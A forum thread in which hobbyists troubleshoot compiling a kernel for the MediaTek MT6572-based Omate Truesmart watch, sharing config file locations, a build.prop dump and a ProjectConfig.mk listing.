edit: Yea forget what I said. I'm dumb for not looking in the right folder.
kuronosan said:
edit: Yea forget what I said. I'm dumb for not looking in the right folder.
Click to expand...
Click to collapse
So I packed and repacked and I still get no boot. There looks to be about a 300kb difference in size between stock kernels and what I end up with.
I don't even get adb.
Original zimage: https://drive.google.com/file/d/0Bxmcjxk_EtPSWnRvbGhraVBoQ2c/edit?usp=sharing
My compiled zimage: https://drive.google.com/file/d/0Bxmcjxk_EtPSV3lYZlpSc0RFT2s/edit?usp=sharing
kuronosan said:
So I packed and repacked and I still get no boot. There looks to be about a 300kb difference in size between stock kernels and what I end up with.
I don't even get adb.
Original zimage: https://drive.google.com/file/d/0Bxmcjxk_EtPSWnRvbGhraVBoQ2c/edit?usp=sharing
My compiled zimage: https://drive.google.com/file/d/0Bxmcjxk_EtPSV3lYZlpSc0RFT2s/edit?usp=sharing
Click to expand...
Click to collapse
Thanks for uploading the Files.
First i am asking how do you come to the Conclusion that the Difference between your Kernel Build and the Original Mediatek Kernel Build is about 300 KB?
When i do compare your Build and the Original Build i see that your Build called "zBuildNew" is over 600KB fat oversized aka bigger than the Original Build.
A Visual Compare with the Linux tool "vbindiff" reveals that the real difference actually is much bigger as it miss nearly everything that exist in the Original Build.
From all the Analysis i get the Impression that you Compiled the Kernel with the wrong Option. Speak you are not using really the Original Kernel Config Options from Mediatek.
The real difference in Size because of this is not 300KB but over >2 Mega Byte as it miss a lot of Information that exist in the Original Build.
You can do itself such a analysis with the Linux Tool vbindiff and you will see itself that a lot of things are missed in your Build!
I asked you last time to Post your Kernel Config file here in the Forum! It can be shared easy without any problems and limitation as it is 100% Full GPL and has nothing to do with MediaTek itself but you did fail on this Point!
ARAN said:
P.S. Btw i guess you used the same Kernel Configurations like the one used by the Mediatek People? Can you ebolorate more on this Point. Maybe post the Kernel Config File here so we can study it. It is full GPL Licensed and has nothing to do with Mediatek itself.
Click to expand...
Click to collapse
This Configuration File is the Most Important File. It is the Kernel Backing Recipe File.
Please post your own Config Kernel File here and also the original Build Kernel Config file.
With this two Files over 90% of the Kernel Compiling Problems can be solved.
Thanks.
Thanks for the response. If you mean the config.gz it doesn't exist. Where else can I find it?
sent from my Galaxy S5 using Tapatalk
kuronosan said:
Thanks for the response. If you mean the config.gz it doesn't exist. Where else can I find it?
sent from my Galaxy S5 using Tapatalk
Click to expand...
Click to collapse
Pull it from your running watch through adb. That's what I did last time I needed one for bdaman80 while he was building a kernel.
kuronosan said:
Thanks for the response. If you mean the config.gz it doesn't exist. Where else can I find it?
sent from my Galaxy S5 using Tapatalk
Click to expand...
Click to collapse
Your Own Kernel Config File can be found in the Directory called "kernel"
It is a hidden file that normally is not showed. You need to activate Hidden Files to be showed.
In the command line the best is if you change to directory with "cd YourPathWhereKernelFilesAre/kernel" and do a "ls -la" this will show also all hidden files including the wanted Kernel Config File ".config"
The Original Config File that MediaTek has used to Compile the Kernel should be shipped in this Directory too and was probably overwritten after the Compilation.
I Myself as a Example have found the Original Config File for the "Z1 Watch Phone" when i accessed the Phone over ADB and looked at all Files including the hidden ones with the Console.
Most of the Times the original Config File can be Found inside Android hidden Directorys. Check all Files and Dirs with the Console over ADB.
Maybe you will have luck like myself.
When you open the Original MediaTek Kernel Config File you will see a lot of specific MediaTEK Options that can be enabled for all
available Boards they Support.
Here a Snipet Example of the Orignal Kernel Config File for the "Z1 Watch Phone" that use the MediaTek for the MT6516 SoC
Code:
# CONFIG_ARCH_MT3351 is not set
CONFIG_ARCH_MT6516=y
#
# MT6516 Board Support Package
#
#
# MT6516 Board Type
#
# CONFIG_MT6516_EVB_BOARD is not set
# CONFIG_MT6516_PHONE_BOARD is not set
# CONFIG_MT6516_GEMINI_BOARD is not set
# CONFIG_MT6516_OPPO_BOARD is not set
CONFIG_MT6516_E1K_BOARD=y
# CONFIG_MT6516_CPU_208MHZ_MCU_104MHZ is not set
CONFIG_MT6516_CPU_416MHZ_MCU_104MHZ=y
# CONFIG_MT6516_CPU_468MHZ_MCU_117MHZ is not set
CONFIG_MAX_DRAM_SIZE_SUPPORT=0x10000000
# CONFIG_CEVA_MT6516 is not set
CONFIG_RESERVED_MEM_SIZE_FOR_PMEM=0x3600000
CONFIG_HAVE_TCM=y
Do you have such Lines in any of your Kernel Configuration Files ?
If not then this will getting really hard to Compile!!!
I would really like to help you but my October DEV Kickstarter Order is since 6 Months not delivered to Switzerland.
If i had my Omate Device i would be the first one to Help you as i am only interessted into the Kernel and the Hardware.
I do not plan to use Andoird on this Device but my own Computer Operating System. So Having a working Open Source Kernel is very Important for me and has a high priority!
ARAN said:
Your Own Kernel Config File can be found in the Directory called "kernel"
It is a hidden file that normally is not showed. You need to activate Hidden Files to be showed.
In the command line the best is if you change to directory with "cd YourPathWhereKernelFilesAre/kernel" and do a "ls -la" this will show also all hidden files including the wanted Kernel Config File ".config"
The Original Config File that MediaTek has used to Compile the Kernel should be shipped in this Directory too and was probably overwritten after the Compilation.
I Myself as a Example have found the Original Config File for the "Z1 Watch Phone" when i accessed the Phone over ADB and looked at all Files including the hidden ones with the Console.
Most of the Times the original Config File can be Found inside Android hidden Directorys. Check all Files and Dirs with the Console over ADB.
Maybe you will have luck like myself.
When you open the Original MediaTek Kernel Config File you will see a lot of specific MediaTEK Options that can be enabled for all
available Boards they Support.
Here a Snipet Example of the Orignal Kernel Config File for the "Z1 Watch Phone" that use the MediaTek for the MT6516 SoC
Code:
# CONFIG_ARCH_MT3351 is not set
CONFIG_ARCH_MT6516=y
#
# MT6516 Board Support Package
#
#
# MT6516 Board Type
#
# CONFIG_MT6516_EVB_BOARD is not set
# CONFIG_MT6516_PHONE_BOARD is not set
# CONFIG_MT6516_GEMINI_BOARD is not set
# CONFIG_MT6516_OPPO_BOARD is not set
CONFIG_MT6516_E1K_BOARD=y
# CONFIG_MT6516_CPU_208MHZ_MCU_104MHZ is not set
CONFIG_MT6516_CPU_416MHZ_MCU_104MHZ=y
# CONFIG_MT6516_CPU_468MHZ_MCU_117MHZ is not set
CONFIG_MAX_DRAM_SIZE_SUPPORT=0x10000000
# CONFIG_CEVA_MT6516 is not set
CONFIG_RESERVED_MEM_SIZE_FOR_PMEM=0x3600000
CONFIG_HAVE_TCM=y
Do you have such Lines in any of your Kernel Configuration Files ?
If not then this will getting really hard to Compile!!!
I would really like to help you but my October DEV Kickstarter Order is since 6 Months not delivered to Switzerland.
If i had my Omate Device i would be the first one to Help you as i am only interessted into the Kernel and the Hardware.
I do not plan to use Andoird on this Device but my own Computer Operating System. So Having a working Open Source Kernel is very Important for me and has a high priority!
Click to expand...
Click to collapse
I found two of such files; one was my compiled .config and the other was for the 2.x kernel in the external directory. I should have thought about searching through this before I tried to compile. I'm guessing hidden files don't get pushed unless you specifically push them?
kuronosan said:
I found two of such files; one was my compiled .config and the other was for the 2.x kernel in the external directory. I should have thought about searching through this before I tried to compile. I'm guessing hidden files don't get pushed unless you specifically push them?
Click to expand...
Click to collapse
I don't understand what you mean with "don't get pushed"
Are you referring to git push?
Hidden Files are similar to normal Files they only are not showed in a File Browser or in the Console as long as you don't explicit want them to show up.
Most of the Time they do the Magic in Linux and are because of this Hidden to be able to prevent Corruption and Damage from the User.
If you are fetching or uploading File Code Sources with GIT then Hidden files are handled also like other files included in the repo.
Hidden files are no Problem for git and are showed always when you checkout a GIT Repo with a Browser in GitHub as a example.
ARAN said:
I don't understand what you mean with "don't get pushed"
Are you referring to git push?
Hidden Files are similar to normal Files they only are not showed in a File Browser or in the Console as long as you don't explicit want them to show up.
Most of the Time they do the Magic in Linux and are because of this Hidden to be able to prevent Corruption and Damage from the User.
If you are fetching or uploading File Code Sources with GIT then Hidden files are handled also like other files included in the repo.
Hidden files are no Problem for git and are showed always when you checkout a GIT Repo with a Browser in GitHub as a example.
Click to expand...
Click to collapse
Yes. I'll double check the source files we were given but I didn't see the config in my tree. I did see it in others, so I might have messed up (I compiled before I pushed).
sent from my Galaxy S5 using Tapatalk
Is this what you're looking for?
https://github.com/kuronosan/mt6572...nfig/ipro72_we_jb3/autoconfig/kconfig/project
kuronosan said:
Is this what you're looking for?
https://github.com/kuronosan/mt6572...nfig/ipro72_we_jb3/autoconfig/kconfig/project
Click to expand...
Click to collapse
Hi Kuronosan!
Thank you a lot for the sharing of this Link!
It looks like that it goes in the right direcrion but it is only a small Part of the Kernel Configuration File.
Normally the full Kernel Config file has about 1000 to 2000 Lines with Option to Turn On or Off.
I downloaded however now the first released and build Firmware from MediaTek for the Omate Truesmart Watchphone
called "Omate_Developer_Truesmart_20131028" from 28 Oktober 2013
I could sucessfull extract the System Image and get very Important Files from this Image which helps as a lot to ReBuild the Kernel and Android.
Here is as a Example the very Important Original Build.Prop File that was used to Build all the Code for the Omate Truesmart
Very Important: I need somebody who can flash this Developer Firmware on his Omate and Pull all Files including the hiddens ones and publish them. Another Possibility is to extract all the Images from this Developer Firmware and publish that way the Files for Download.
Maybe LokFish Marz can do it or somebody else ? Thanks !
Downloading at the moment the Kernel Sources to Study them and try to rebuild the Kernel myself till end of the next Week.
Awaiting all Files from the Developer Firmware to be Published.
Code:
# begin build properties
# autogenerated by buildinfo.sh
ro.build.id=JDQ39
ro.build.display.id=ALPS.JB3.MP.V1.8
ro.build.version.incremental=eng.user.20131028.164738
ro.custom.build.version=20131028.164738
ro.build.version.sdk=17
ro.build.version.codename=REL
ro.build.version.release=4.2.2
ro.build.date=Mon Oct 28 16:50:25 CST 2013
ro.build.date.utc=1382950225
ro.build.type=user
ro.build.user=user
ro.build.host=user-desktop
ro.build.tags=test-keys
ro.product.model=OMATE
ro.product.brand=OMATE
ro.product.name=x201
ro.product.device=x201
ro.product.board=x201
ro.product.cpu.abi=armeabi-v7a
ro.product.cpu.abi2=armeabi
ro.product.manufacturer=alps
ro.product.locale.language=en
ro.product.locale.region=US
ro.wifi.channels=
ro.board.platform=
# ro.build.product is obsolete; use ro.product.device
ro.build.product=x201
# Do not try to parse ro.build.description or .fingerprint
ro.build.description=x201-user 4.2.2 JDQ39 eng.user.20131028.164738 test-keys
ro.build.fingerprint=OMATE/x201/x201:4.2.2/JDQ39/20131028.164738:user/test-keys
ro.build.flavor=
ro.build.characteristics=default
persist.sys.timezone=Africa/Harare
# end build properties
# begin mediatek build properties
ro.mediatek.version.release=ALPS.JB3.MP.V1.8
ro.mediatek.platform=MT6572
ro.mediatek.chip_ver=S01
ro.mediatek.version.branch=ALPS.JB3.MP
ro.mediatek.version.sdk=1
# end mediatek build properties
#
# system.prop for generic sdk
#
rild.libpath=/system/lib/mtk-ril.so
rild.libargs=-d /dev/ttyC0
# MTK, Infinity, 20090720 {
wifi.interface=wlan0
# MTK, Infinity, 20090720 }
# MTK, mtk03034, 20101210 {
ro.mediatek.wlan.wsc=1
# MTK, mtk03034 20101210}
# MTK, mtk03034, 20110318 {
ro.mediatek.wlan.p2p=1
# MTK, mtk03034 20110318}
# MTK, mtk03034, 20101213 {
mediatek.wlan.ctia=0
# MTK, mtk03034 20101213}
#
wifi.tethering.interface=ap0
#
ro.opengles.version=131072
wifi.direct.interface=p2p0
dalvik.vm.heapgrowthlimit=96m
dalvik.vm.heapsize=128m
# USB MTP WHQL
ro.sys.usb.mtp.whql.enable=0
# Power off opt in IPO
sys.ipo.pwrdncap=2
ro.sys.usb.storage.type=mtp,mass_storage
# USB BICR function
ro.sys.usb.bicr=yes
# USB Charge only function
ro.sys.usb.charging.only=yes
# audio
ro.camera.sound.forced=0
ro.audio.silent=0
ro.zygote.preload.enable=0
# temporary enables NAV bar (soft keys)
qemu.hw.mainkeys=0
ro.kernel.zio=38,108,105,16
#
# ADDITIONAL_BUILD_PROPERTIES
#
persist.gemini.sim_num=2
ro.gemini.smart_sim_switch=false
ro.gemini.smart_3g_switch=0
ril.specific.sm_cause=0
bgw.current3gband=0
ril.external.md=0
ro.sf.hwrotation=0
ril.current.share_modem=2
curlockscreen=1
ro.mediatek.gemini_support=true
ro.operator.hwlcm=s6d04d2x01
ro.operator.hwtp=ft5206/msg2133
ro.operator.hwmaincamera=ov3660_yuv
ro.operator.hwgsensor=bma222
ro.operator.hwmsensor=mmc3416x
persist.radio.fd.counter=15
persist.radio.fd.off.counter=5
persist.radio.fd.r8.counter=15
persist.radio.fd.off.r8.counter=5
persist.mtk.wcn.combo.chipid=-1
drm.service.enabled=true
fmradio.driver.enable=0
ril.first.md=1
ril.flightmode.poweroffMD=1
ril.telephony.mode=3
dalvik.vm.mtk-stack-trace-file=/data/anr/mtk_traces.txt
mediatek.wlan.chip=mediatek.wlan.module.postfix=_
ril.radiooff.poweroffMD=0
ro.config.notification_sound=Proxima.ogg
ro.config.alarm_alert=Alarm_Classic.ogg
ro.config.ringtone=Backroad.ogg
custom.hw.version=HW2.0
customize.product.name=Omate3
customize.product.cust=umeox
customize.product.version=M1.0
net.bt.name=Android
dalvik.vm.stack-trace-file=/data/anr/traces.txt
# begin adupsfota properties
ro.adups.fota.oem=umeox72
ro.adups.fota.device=OMATE
ro.adups.fota.version=ALPS.JB3.MP.V1.8
# begin adupsfota properties
LOL. Every firmware in my archive is a test build, Mediatek has not released anything but test builds for every one of the x201 models and board revisions.
I'm not sure where you are going with this build.prop thing. And if you are looking for a /proc/config.gz in the firmware, it's not there, along with media_profiles.xml and a number of other typically expected files. power_profiles.xml is wrong on every MTK firmware I've ever seen, across multiple devices/SOCs, supported clock rates is wrong, I'm pretty sure I never even found a proper voltage table.
And as far as his git, it took multiple people, days to get the files in the right place. It looked like MTK pretty much put source in a blender and gave us the results.
I Downloaded the Sources now and tryed a test run Kernel Compile on my newest Ubuntu Linux Machine.
The Point is that the Sources that were delivered are depending on a 4 Year Old Distro Linux from the Year 2010
I had already to Fix this https://github.com/kuronosan/mt6572_x201/blob/master/mediatek/build/tools/checkEnv.py#L429 File several Times because it fails to Build the Kernel as it use the "GCC --v" option that does not exist any more.
Its pity that the Sources are that outdated or at least require already a 4 Year Old Linux Distro to be build.
The Build.Prop File provide several interesting Information like Drivers, Manufacturer and Compiler Information.
Code:
ro.product.model=OMATE
ro.product.brand=OMATE
ro.product.name=x201
ro.product.device=x201
ro.product.board=x201
[B][U]ro.product.cpu.abi=armeabi-v7a[/U][/B]
ro.product.cpu.abi2=armeabi
[B][U]ro.product.manufacturer=alps[/U][/B]
ro.build.product=x201
[B][U]ro.mediatek.platform=MT6572[/U][/B]
ro.mediatek.chip_ver=S01
[B][U]rild.libpath=/system/lib/mtk-ril.so[/U][/B]
[B][U]ro.operator.hwmaincamera=ov3660_yuv
[/U][/B]
[B][U]ro.operator.hwgsensor=bma222[/U][/B]
[B][U]ro.operator.hwmsensor=mmc3416x[/U][/B]
I have made a Google Search for the Manufacturer ALPS together with the keyword MediaTek "ALPS MediaTek" as a example and found 83 Page Step by Step Official guide Document how to Compile the MediaTek Sources that were Delivered. Its additional Information that are helpful especially in such Situation like yours.
Beside this there is also the very Important File ProjectConfig.mk File that i Could extract from the Developer Firmware that has all the Options that were probably used to Compile the Kernel.
Code:
# = CUSTOM_HAL_MAIN_LENS +CUSTOM_HAL_MAIN_BACKUP_LENS + CUSTOM_HAL_SUB_LENS + CUSTOM_HAL_SUB_BACKUP_LENS
#CUSTOM_HAL_AUDIOFLINGER = audio
#CUSTOM_HAL_IMGSENSOR = imx073_mipi_raw ov3640_yuv_af siv120b_yuv
#CUSTOM_HAL_MAIN_BACKUP_IMGSENSOR =
#CUSTOM_HAL_MAIN_BACKUP_LENS =
#CUSTOM_HAL_MAIN_IMGSENSOR = imx073_mipi_raw
#CUSTOM_HAL_MAIN_LENS = fm50af
#CUSTOM_HAL_MATV =
#CUSTOM_HAL_SUB_BACKUP_IMGSENSOR =
#CUSTOM_HAL_SUB_BACKUP_LENS =
#CUSTOM_HAL_SUB_IMGSENSOR = hi704_yuv
#CUSTOM_KERNEL_ACCELEROMETER =
#CUSTOM_KERNEL_ALSPS =
#CUSTOM_KERNEL_BATTERY = battery
#CUSTOM_KERNEL_IMGSENSOR = imx073_mipi_raw ov3640_yuv_af siv120b_yuv
#CUSTOM_KERNEL_JOGBALL =
#CUSTOM_KERNEL_LCM = nt35582_mcu_6575
#CUSTOM_KERNEL_MAGNETOMETER =
#CUSTOM_KERNEL_MAIN_BACKUP_IMGSENSOR =
#CUSTOM_KERNEL_MAIN_BACKUP_LENS =
#CUSTOM_KERNEL_MAIN_IMGSENSOR = imx073_mipi_raw
#CUSTOM_KERNEL_MAIN_LENS = fm50af
#CUSTOM_KERNEL_MATV =
#CUSTOM_KERNEL_OFN =
#CUSTOM_KERNEL_SUB_BACKUP_IMGSENSOR =
#CUSTOM_KERNEL_SUB_BACKUP_LENS =
#CUSTOM_KERNEL_SUB_IMGSENSOR = hi704_yuv
#CUSTOM_KERNEL_TOUCHPANEL = generic
#CUSTOM_KERNEL_WIFI =
#CUSTOM_MODEM = ipro72_we_jb3_hspa
ADUPS_FOTA_SUPPORT = yes
ADUPS_FOTA_WITH_ICON = no
ALWAYSON_DFOSET = no
ALWAYSON_DFOSET_VALUE = MTK_CTA_SUPPORT
AUTO_ADD_GLOBAL_DEFINE_BY_NAME = MTK_ACMT_DEBUG MTK_BT_PROFILE_AVRCP MTK_NVRAM_SECURITY MTK_MMPROFILE_SUPPORT MTK_GPS_SUPPORT MTK_MULTIBRIDGE_SUPPORT MTK_GEMINI_4SIM_SUPPORT EVDO_DT_SUPPORT MTK_YMAL_SCATTER_FILE_SUPPORT MTK_FM_SUPPORT MTK_USES_HD_VIDEO MTK_TABLET_PLATFORM MTK_DUAL_MIC_SUPPORT MTK_AUTO_DETECT_MAGNETOMETER MTK_AUDIO_ADPCM_SUPPORT MTK_GEMINI_SMART_3G_SWITCH CUSTOM_KERNEL_OFN MTK_BT_PROFILE_MANAGER MTK_ION_SUPPORT MTK_TVOUT_SUPPORT MTK_FM_RECORDING_SUPPORT MTK_DEDICATEDAPN_SUPPORT MTK_DDR3_SUPPORT MTK_LCA_SUPPORT MTK_AUD_LOCK_MD_SLEEP_SUPPORT MTK_IPV6_SUPPORT MTK_MT6572V1_PHONE_POWER_REWORK MTK_DT_SUPPORT MTK_STEREO3D_WALLPAPER_APP MTK_MATV_SERIAL_IF_SUPPORT MTK_BT_FM_OVER_BT_VIA_CONTROLLER MTK_BT_PROFILE_PBAP MTK_FAT_ON_NAND MTK_BT_PROFILE_A2DP MTK_CAMCORDER_PROFILE_MID_MP4 MTK_BT_PROFILE_HFP MTK_BT_PROFILE_AVRCP14 MTK_VOICE_UI_SUPPORT MTK_MASS_STORAGE MTK_BICR_SUPPORT MTK_BT_PROFILE_BIP MTK_BT_PROFILE_BPP MTK_CTPPPOE_SUPPORT MTK_COMBO_QUICK_SLEEP_SUPPORT MTK_THEMEMANAGER_APP MTK_HDR_SUPPORT MTK_TMP103_SUPPORT MTK_BQ24158_SUPPORT MTK_DSPIRDBG MTK_TABLET_DRAM MTK_MT8193_SUPPORT MTK_MERGE_INTERFACE_SUPPORT HAVE_AACENCODE_FEATURE MTK_BT_PROFILE_MAPS MTK_FM_50KHZ_SUPPORT MTK_WIFI_HOTSPOT_SUPPORT MTK_TB_DEBUG_SUPPORT MTK_COMBO_SUPPORT MTK_BT_PROFILE_OPP MTK_2SDCARD_SWAP MTK_FLIGHT_MODE_POWER_OFF_MD MTK_RADIOOFF_POWER_OFF_MD MTK_BT_PROFILE_MAPC MTK_SHARED_SDCARD MTK_EMMC_DISCARD MTK_2IN1_SPK_SUPPORT MTK_MDM_LAWMO MTK_EAP_SIM_AKA MTK_MULTI_STORAGE_SUPPORT MTK_CACHE_MERGE_SUPPORT MTK_MT8193_HDCP_SUPPORT MTK_ENABLE_VIDEO_EDITOR MTK_WFD_SUPPORT MTK_AUDIO_RAW_SUPPORT MTK_WAPI_SUPPORT MTK_FD_SUPPORT MTK_DISPLAY_HIGH_RESOLUTION HAVE_ADPCMENCODE_FEATURE NAND_OTP_SUPPORT MODEM_UMTS_TDD128_MODE MTK_FACEBEAUTY_SUPPORT MTK_AAL_SUPPORT EVDO_DT_VIA_SUPPORT MTK_BT_SUPPORT MTK_YAML_SCATTER_FILE_SUPPORT MTK_BT_40_SUPPORT MTK_BT_PROFILE_FTP MTK_ASF_PLAYBACK_SUPPORT MTK_CAMERA_BSP_SUPPORT MTK_MT8193_HDMI_SUPPORT MTK_HIGH_QUALITY_THUMBNAIL MTK_IPV6_TETHER_NDP_MODE MTK_FM_RX_SUPPORT MTK_IMAGE_LARGE_MEM_LIMIT MTK_FM_TX_SUPPORT MTK_MDM_FUMO MTK_BRAZIL_CUSTOMIZATION_VIVO MTK_BRAZIL_CUSTOMIZATION_CLARO MTK_ENABLE_MD2 MTK_ENABLE_MD1 HAVE_XLOG_FEATURE MTK_LCA_RAM_OPTIMIZE MTK_RMVB_PLAYBACK_SUPPORT MTK_BT_PROFILE_SIMAP MTK_BT_PROFILE_TIMES MTK_NATIVE_3D_SUPPORT MTK_MEM_PRESERVED_MODE_ENABLE MTK_AUTORAMA_SUPPORT MTK_BT_PROFILE_TIMEC MTK_VOICE_UNLOCK_SUPPORT MTK_UMTS_TDD128_MODE MTK_TETHERING_EEM_SUPPORT MTK_MATV_ANALOG_SUPPORT MTK_BSP_PACKAGE MTK_SIM_AUTHENTICATION_SUPPORT MTK_BRAZIL_CUSTOMIZATION CUSTOM_KERNEL_ACCELEROMETER MTK_LCA_ROM_OPTIMIZE MTK_VT3G324M_SUPPORT MTK_KERNEL_POWER_OFF_CHARGING MTK_NFC_SUPPORT MTK_NAND_UBIFS_SUPPORT CUSTOM_KERNEL_GYROSCOPE MTK_MDM_SCOMO MTK_SIM_HOT_SWAP_COMMON_SLOT CUSTOM_KERNEL_MAGNETOMETER MTK_EMULATOR_SUPPORT MTK_BT_PROFILE_HIDH MTK_AUTOIP_SUPPORT MTK_BT_PROFILE_PAN MTK_PRODUCT_INFO_SUPPORT MTK_CAMERA_APP_3DHW_SUPPORT MTK_WLAN_SUPPORT MTK_PQ_SUPPORT MTK_TETHERINGIPV6_SUPPORT MTK_UART_USB_SWITCH MTK_IPOH_SUPPORT MTK_AUTO_DETECT_ACCELEROMETER HAVE_CMMB_FEATURE MTK_USES_VR_DYNAMIC_QUALITY_MECHANISM MTK_EMMC_SUPPORT_OTP MTK_TB_APP_CALL_FORCE_SPEAKER_ON MTK_COMBO_CORE_DUMP_SUPPORT MTK_TB_HW_DEBUG MTK_PLATFORM_OPTIMIZE MTK_MULTISIM_RINGTONE_SUPPORT TELEPHONY_DFOSET MTK_BIP_SCWS MTK_BEAM_PLUS_SUPPORT MTK_QVGA_LANDSCAPE_SUPPORT MTK_FM_SHORT_ANTENNA_SUPPORT MTK_HDMI_SUPPORT MTK_GEMINI_3SIM_SUPPORT MTK_RILD_READ_IMSI MTK_BT_PROFILE_SPP MTK_BT_30_SUPPORT MTK_FAN5405_SUPPORT MTK_MT8193_NFI_SUPPORT MTK_DISABLE_POWER_ON_OFF_VOLTAGE_LIMITATION MTK_HW_ENHANCE MTK_NCP1851_SUPPORT MTK_LCEEFT_SUPPORT MTK_BT_PROFILE_DUN MTK_DHCPV6C_WIFI MTK_BT_PROFILE_PRXM MTK_FSCK_MSDOS_MTK MTK_MAV_SUPPORT MTK_IPV6_TETHER_PD_MODE HAVE_AWBENCODE_FEATURE MTK_BQ24196_SUPPORT MTK_WEB_NOTIFICATION_SUPPORT MTK_MD_SHUT_DOWN_NT MTK_SPH_EHN_CTRL_SUPPORT MTK_WB_SPEECH_SUPPORT CUSTOM_KERNEL_ALSPS MTK_VIBSPK_SUPPORT MTK_BT_PROFILE_PRXR ENCRY_PARTITION_SUPPORT MTK_BQ27541_SUPPORT MTK_SD_REINIT_SUPPORT MTK_SENSOR_SUPPORT MTK_M4U_SUPPORT MTK_EMMC_SUPPORT MTK_BT_21_SUPPORT MTK_S3D_SUPPORT MTK_WLANBT_SINGLEANT SUPPORT_SDCARD2
AUTO_ADD_GLOBAL_DEFINE_BY_NAME_VALUE = MTK_SIM1_SOCKET_TYPE MTK_TOUCH_PHYSICAL_ROTATION_RELATIVE_TO_LCM MTK_LCM_PHYSICAL_ROTATION LCM_HEIGHT EMMC_CHIP CUSTOM_KERNEL_SSW MTK_SINGLE_3DSHOT_SUPPORT MTK_EXTERNAL_MODEM_SLOT MTK_SHARE_MODEM_SUPPORT MTK_NEON_SUPPORT MTK_SHARE_MODEM_CURRENT CUSTOM_KERNEL_MAIN2_IMGSENSOR LCM_WIDTH MTK_SIM2_SOCKET_TYPE
AUTO_ADD_GLOBAL_DEFINE_BY_VALUE = MTK_PLATFORM CUSTOM_KERNEL_LENS CUSTOM_KERNEL_MAIN_BACKUP_LENS BOOT_LOGO CUSTOM_KERNEL_LCM MTK_MODEM_SUPPORT MTK_ATV_CHIP CUSTOM_KERNEL_MAIN_IMGSENSOR MTK_BT_CHIP MTK_WLAN_CHIP CUSTOM_KERNEL_SUB_BACKUP_IMGSENSOR CUSTOM_KERNEL_MAIN2_BACKUP_IMGSENSOR MTK_IME_INPUT_ENGINE CUSTOM_KERNEL_MAIN_BACKUP_IMGSENSOR CUSTOM_KERNEL_FLASHLIGHT CUSTOM_KERNEL_SUB_IMGSENSOR CUSTOM_KERNEL_SUB_LENS MTK_AUDIO_BLOUD_CUSTOMPARAMETER_REV CUSTOM_KERNEL_IMGSENSOR MTK_FM_RX_AUDIO MTK_COMBO_CHIP MTK_GPS_CHIP CUSTOM_KERNEL_SUB_BACKUP_LENS CUSTOM_KERNEL_MAIN_LENS MTK_FM_TX_AUDIO MTK_FM_CHIP CUSTOM_KERNEL_MAIN2_IMGSENSOR MTK_IME_HANDWRITING_ENGINE
BOOT_LOGO = qvga
BUILD_CTS = no
BUILD_KERNEL = yes
BUILD_LK = yes
BUILD_MTK_SDK =
BUILD_PRELOADER = yes
BUILD_UBOOT = no
CUSTOM_BUILD_VERNO =
CUSTOM_HAL_ANT = mt6582_ant_m1
CUSTOM_HAL_AUDIOFLINGER = audio
CUSTOM_HAL_BLUETOOTH = bluetooth
CUSTOM_HAL_CAMERA = camera
CUSTOM_HAL_CAM_CAL = dummy_eeprom
CUSTOM_HAL_COMBO = mt6572_82
CUSTOM_HAL_EEPROM = dummy_eeprom
CUSTOM_HAL_FLASHLIGHT = dummy_flashlight
CUSTOM_HAL_IMGSENSOR = ov3660_yuv #s5k5cagx_yuv #s5k4ecgx_mipi_yuv s5k8aayx_yuv
CUSTOM_HAL_LENS = dummy_lens #sensordrive dummy_lens
CUSTOM_HAL_MAIN2_IMGSENSOR =
CUSTOM_HAL_MAIN_BACKUP_IMGSENSOR =
CUSTOM_HAL_MAIN_BACKUP_LENS =
CUSTOM_HAL_MAIN_IMGSENSOR = ov3660_yuv #s5k5cagx_yuv #s5k4ecgx_mipi_yuv
CUSTOM_HAL_MAIN_LENS = dummy_lens #sensordrive
CUSTOM_HAL_MATV = #matv
CUSTOM_HAL_MSENSORLIB = mmc328x akm8975 ami304 yamaha530 mag3110 akmd8963 bmm050 bmm056 mc6420 mmc3416x s62xd lsm303md hscdtd006
CUSTOM_HAL_SENSORS = sensor
CUSTOM_HAL_SUB_BACKUP_IMGSENSOR =
CUSTOM_HAL_SUB_BACKUP_LENS =
CUSTOM_HAL_SUB_IMGSENSOR = #s5k8aayx_yuv
CUSTOM_HAL_SUB_LENS = #dummy_lens
CUSTOM_KERNEL_ACCELEROMETER = bma222 #bma056 #bma050 #KXTJ2_1009
CUSTOM_KERNEL_ALSPS = #cm36283
CUSTOM_KERNEL_BATTERY = battery
CUSTOM_KERNEL_CAMERA = camera
CUSTOM_KERNEL_CAM_CAL = dummy_eeprom
CUSTOM_KERNEL_CORE = src
CUSTOM_KERNEL_DCT = dct
CUSTOM_KERNEL_EEPROM = dummy_eeprom
CUSTOM_KERNEL_FLASHLIGHT = dummy_flashlight
CUSTOM_KERNEL_GYROSCOPE = #mpu6050c#mpu3050c
CUSTOM_KERNEL_HDMI =
CUSTOM_KERNEL_HEADSET = accdet
CUSTOM_KERNEL_IMGSENSOR = ov3660_yuv #s5k5cagx_yuv #s5k4ecgx_mipi_yuv s5k8aayx_yuv
CUSTOM_KERNEL_KPD = kpd
CUSTOM_KERNEL_LCM = s6d04d2x01 #nt35510_fwvga
CUSTOM_KERNEL_LEDS = mt65xx
CUSTOM_KERNEL_LENS = dummy_lens #sensordrive dummy_lens
CUSTOM_KERNEL_MAGNETOMETER = mmc3416x #bmm056 #bmm050 #akm8963
CUSTOM_KERNEL_MAIN2_BACKUP_IMGSENSOR =
CUSTOM_KERNEL_MAIN2_IMGSENSOR =
CUSTOM_KERNEL_MAIN_BACKUP_IMGSENSOR =
CUSTOM_KERNEL_MAIN_BACKUP_LENS =
CUSTOM_KERNEL_MAIN_IMGSENSOR = ov3660_yuv #s5k5cagx_yuv #s5k4ecgx_mipi_yuv
CUSTOM_KERNEL_MAIN_LENS = dummy_lens #sensordrive
CUSTOM_KERNEL_MATV = #mt5193
CUSTOM_KERNEL_RTC = rtc
CUSTOM_KERNEL_SOUND = amp_6323pmic_spk
CUSTOM_KERNEL_SSW = ssw_single
CUSTOM_KERNEL_SUB_BACKUP_IMGSENSOR =
CUSTOM_KERNEL_SUB_BACKUP_LENS =
CUSTOM_KERNEL_SUB_IMGSENSOR = #s5k8aayx_yuv
CUSTOM_KERNEL_SUB_LENS = #dummy_lens
CUSTOM_KERNEL_TOUCHPANEL = ft5206 msg2133 #GT9XX #ft5206
CUSTOM_KERNEL_USB = mt6577
CUSTOM_KERNEL_VIBRATOR = vibrator
CUSTOM_LK_LCM = s6d04d2x01 #nt35510_fwvga
CUSTOM_MODEM = ipro72_we_jb3_hspa_b15
CUSTOM_PRELOADER_CUSTOM = custom
CUSTOM_SEC_AUTH_SUPPORT = no
CUSTOM_SEC_SIGNTOOL_SUPPORT = no
